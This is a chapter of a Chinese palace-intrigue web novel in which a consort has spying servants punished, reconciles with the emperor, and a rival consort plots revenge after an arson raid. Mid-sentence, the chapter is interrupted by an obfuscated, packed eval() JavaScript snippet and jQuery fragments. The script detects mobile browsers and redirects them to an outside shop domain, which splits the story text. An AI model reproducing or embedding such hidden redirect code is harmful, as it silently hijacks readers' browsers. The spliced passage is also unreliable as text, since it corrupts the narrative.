29. 雪夜

作品:《朱门咸鱼

    腊月二十七,冯夏联姻的旨意正式颁下,婚期定在来年开春。


    夏家欢天喜地接了旨,而冯家那头,却只有冯国公夫人一人出面领旨。


    事后,有好打听的人传出风声,说那位二小姐听闻婚讯,竟闹了场悬梁自尽的戏码,躲去别院不肯露面。


    消息辗转递到临华宫时,夏清圆只漠然牵了牵嘴角。


    若拒婚当真这般容易,她也不必在深宫之中绞尽脑汁了。


    垂眸,目光落在殿外跪着的两个奴才身上——小厨房太监喜顺、寝殿洒扫宫女春蕾。


    自段云柔递来名字,她便让锦娘暗中盯了几日,终是寻了由头,将二人明正典刑地拘在此处。


    喜顺用的还是老法子,悄悄在她的饮食里掺避子药物;春蕾则借着洒扫之便,偷翻她与家中的书信,探听消息。


    她心下并无多少怒气,反倒生出一丝近乎轻蔑的了然——不过如此。


    以小禄子之案观之,她原以为太后的手段会更狠辣些。


    静坐思忖片刻,她大约明白了:皇上先前对她的那份恩宠,到底让太后存了三分顾忌。


    毕竟,太后若真贸然弄死了她,谁知那位最擅借题发挥的帝王,会掀起多大的风浪?


    她未申斥,也未动刑,只令二人在冰天雪地的庭院中,众目睽睽之下长跪。


    约莫一炷香后,内侍省管事黄严匆匆赶来,脸上堆着小心翼翼的笑:“奴才给婉昭仪请安。不知……这两个不长眼的,如何冲撞了娘娘?”


    “黄严,”夏清圆面色平静无波,“喜顺与春蕾,可是你内侍省拨到临华宫的人?”


    “回娘娘……”黄严喉结滚动,硬着头皮应道,“确是内侍省送来伺候娘娘的。”


    “那你也跪下。”声音不高,却字字如冰。


    “这……”黄严脸上的笑容僵住,膝盖微曲,似跪非跪,内侍省管事的体面让他一时难以屈就。


    “怎么?”夏清圆抬眸,目光清凌凌地扫过去,“本宫罚不得你?”


    “奴才该死!”黄严膝弯一软,“噗通”一声,直挺挺跪在了喜顺身前。


    又熬过一炷香,黄严腹中草稿已打好,正欲开口辩解——


    “奴才给婉昭仪请安。”吴全顺的嗓音适时响起。


    婉昭仪让周全去寻他时,他确有一瞬疑惑:处置两个犯错宫人,找黄严便是,何须劳动他这位大内总管?


    但既然来找了,顺势卖个人情也无妨。


    路上听了周全几句低语,此刻再瞧见同样跪在雪地里的黄严,吴全顺心下顿时雪亮——


    这两个奴才怕是大有来头,婉昭仪这是要借机立威。


    他向夏清圆行过礼,转身便道:“喜顺、春蕾,杖毙。”


    黄严闻言,脸上血色尽褪,惊疑不定地望向周全。周全得了夏清圆默许,附耳过去,低声说了几句。


    刹那间,黄严在冰天雪地里竟急出一头冷汗,连连叩首:“娘娘明鉴!奴才就是有一万个胆子,也绝不敢指使这起子贱奴行此大逆之事!奴才……奴才实不知情啊!”


    “黄严,”吴全顺适时开口,“你身为内侍省管事,失察在先,管教宫人不力在后。罚俸半年,杖二十。”


    他亲自盯着行刑完毕,方堆起笑容:“奴才差事已了,告退。”


    “慢着,”夏清圆起身,从荔枝捧着的描金托盘里抓了一把金叶子,“劳烦公公带句话给皇上——就说,臣妾酿的梅花酒,好了。”


    萧翊已有十日未踏足临华宫。若再不借借他的势,怕真要让旁人以为她失了圣心。


    虽然,从某种意味上说,她近来确有些“失宠”。


    吴全顺看着掌中金灿灿的物什,略一迟疑,分神想起另一桩事——


    今早他从冯、夏两府宣旨回来复命时,皇上曾状似无意地问了句:“婉昭仪……知道了?”


    思及此,他心下稍定,坦然收下,又压低声音提点道:“皇上近日政务缠身,饮食时常不准时,娘娘若能备些暖胃的汤食……”


    “吴公公有心了。”夏清圆颔首赞道。


    酉时末,萧翊的步辇刚拐进临华宫前的巷子,远远便瞧见一幅“雪夜提灯”的景致——


    宫灯晕开一团昏黄暖光,夏清圆裹着厚厚的雪狐斗篷,连帽兜边缘都镶着一圈风毛,整个人被裹成毛茸茸的一团。


    她似乎等得有些焦躁,在原地轻轻踩着碎步,琉璃灯盏随之晃动,照见她绣鞋尖上已沾满晶莹的雪沫。


    萧翊脚步不自觉地加快。


    行至近前,见她握灯柄的手指冻得通红,他拧眉低斥:“胡闹。”一把将她冰凉的手攥入掌心暖着。


    走了两步,瞥见她绣鞋已被雪水浸透,索性俯身将人打横抱起。


    “苦肉计,还是美人计?”他垂眸,嗓音里听不出情绪。


    夏清圆瘪了瘪嘴,鼻尖与眼眶俱是冻出的嫣红,手臂却乖顺地环上他脖颈,将脸埋在他肩窝,声音闷闷的:“都有……”


    吴全顺与周全交换一个眼神,袖中又悄然滑入几枚金叶子。窃喜,他这揣摩圣心的功夫,倒是愈发精进了。


    萧翊抱着她步入内室,解开那件厚重的斗篷——


    青丝如瀑散落,未簪一饰,身上只着一件单薄的绯色绫纱小衣,在暖融融的烛光下,透出肌肤细腻的暖白。


    他依稀记得,上次床笫之间,也是这般美景。他曾随口吟过一句:“香汗浸绯绡,灯深看愈姣。”


    此刻此景,却让他有些不解风情地想笑。


    余光瞥见床角那几本翻得边角卷起的话本子,想来她这几日除了见长姐,心思多半用在了这上头。


    “不学好。”他屈指,轻轻刮了下她微凉的鼻尖。


    其实那日看过她送出的家书,他心头那点不快便已消散,反倒有些心软——


    话或许说得太重,态度过于冷硬,更不该挥袖便走。


    她初入宫闱,定然吓坏了,才会急急修书回家。


    她才入宫多久?他不该因带她见了些世面,便奢望她顷刻间通晓朝堂权术,更不该以前朝那些老泥鳅的揣摩圣意的标准来要求她。


    她担忧兄长受委屈,不愿高攀,本就是人之常情。


    自我开解后,他确实等了两日,隐隐期待她能像其他妃嫔那般,送些汤水绣帕,递个“台阶”。


    可等来的,却是她召见长姐、忙得不见人影的消息。


    前朝政务如麻,他数日未入后宫,那点难得的柔软心绪也就淡了。


    直至今日下午,她让周全去寻吴全顺——他觉得,她是在递台阶,便顺势来了。


    “冷。”她又往他怀里缩了缩。


    “朕饿了。”萧翊开口,带着几分煞风景的实诚。


    可一踏入临华宫,连日来因朝政而麻木的七情六欲,仿佛瞬间复苏。


    夏清圆抬眸看他,目光在他脸上逡巡片刻,似在分辨他是否还在托辞。辨明之后,她欲起身更衣,却被他一把拉住——


    “别换。”萧翊随手用那件斗篷将她裹紧,俯身在她耳畔,气息温热,续上那未


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912949|192431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    尽的诗:“丰腴宜新荔,皓质透薄纱。”


    储秀宫内,冷灯映照着殿宇深处,将雕梁画栋都罩上一层孤寒的幽光。


    炭盆里的银丝炭早已燃尽,只余一片灰白的死寂,空气里弥漫着未散尽的药气与清冷的檀香。


    贤妃倚在临窗的软榻上,一袭素白的寝衣外随意披着件银灰色暗纹斗篷。


    自丧女后,她便对争风吃醋的事歇了心思,此刻只怔怔地望着窗外黑沉沉的夜色,手中无意识地捻着一枚小小的、早已冰凉的银质长命锁——那是她给未出世的孩儿备下的。


    外头的热闹,诸如“冯夏联姻”这般在旁人看来石破天惊的消息,传到她耳中,也不过是风过水面的一丝涟漪,左耳进,右耳出,激不起半分心绪。


    她全部的魂魄,仿佛都已被那夜撕心裂肺的痛楚与随后滋生的蚀骨疑窦攫住,日夜煎熬。


    “主子,宫外有消息回来了。”贴身婢女轻手轻脚地进来禀报,身后跟着储秀宫的掌事太监曹丰。


    曹丰躬身趋步至榻前,在昏黄的光晕外停下,垂首道:“回禀娘娘,依太医院小罗递来的线,奴才顺藤摸瓜,查清了季太医近来的行踪。”


    他顿了顿,喉结微动,“他盗取宫中药材,确是为了打点冯国公府庄子上的管事,以求…其被拘押的家眷能得些照拂,少受磋磨。”


    贤妃捻动长命锁的手指倏然停住,指尖因用力而微微发白。


    “咱们的人使了些手段,夜里捆了那庄头细细‘问’过。”曹丰的声音更沉,带着一丝不易察觉的狠厉,“他熬不住刑,吐了实情——季太医的妻儿老小,确是在娘娘生产那夜,被‘请’到庄子上的。”


    “砰!”


    一声闷响,是贤妃手中那枚银锁重重砸在紫檀木的榻几上。


    她猛地坐直身体,素白的脸上血色尽褪,唇瓣却反常地泛起一丝激动的嫣红,“父亲……可知道了?”


    “老爷那边已得了信儿。”曹丰垂着眼,语速平稳却字字清晰,“老爷这几日正为朝中之事憋着一口恶气无处宣泄,一听闻此事,当即……”


    他略一停顿,像是在斟酌用词,最终吐出的话语却带着血腥气,“便遣了人,扮作流寇山匪,明火执仗地闯了那庄子,将季太医的家眷悉数抢了出来。为免留下痕迹,撤离时……顺手点了把火。”


    他抬眼,瞥了一下窗外呼啸的北风:“今夜刮北风,待到明日清晨,那庄子里的粮仓、药库,乃至连着的国公府别院……想必都已烧成一片白地了。”


    贤妃紧抿着唇,胸口因急促的呼吸而微微起伏。


    冯国公和皇后此番,只能是哑巴吃黄连。


    待到天亮,怕也只能上表朝廷,言称庄子不幸“意外失火”,自认倒霉。


    曹丰觑着她的神色,继续低声问道:“老爷让奴才请示娘娘的意思——是否要将那季太医也一并拿下?待明日,便可直指凤仪宫,参皇后一本戕害皇嗣的大罪?”


    殿内陷入一片死寂,只有窗外北风刮过殿角铜铃,发出凄厉呜咽般的声响。


    良久,贤妃缓缓抬起眼。那双凤眸里,先前的恨意渐渐沉淀下去,化为一片深不见底、令人心悸的幽寒。


    “那岂不是……太便宜她了?”


    她重新拾起榻几上那枚冰凉的银锁,指尖细细摩挲着上面的“平安”纹路,目光却仿佛穿透了殿墙,投向凤仪宫的方向。


    “我也要让她……”她一字一顿,声音轻缓,却蕴含着滔天的怨毒与决绝,“尝一尝,什么叫……钻心之痛。”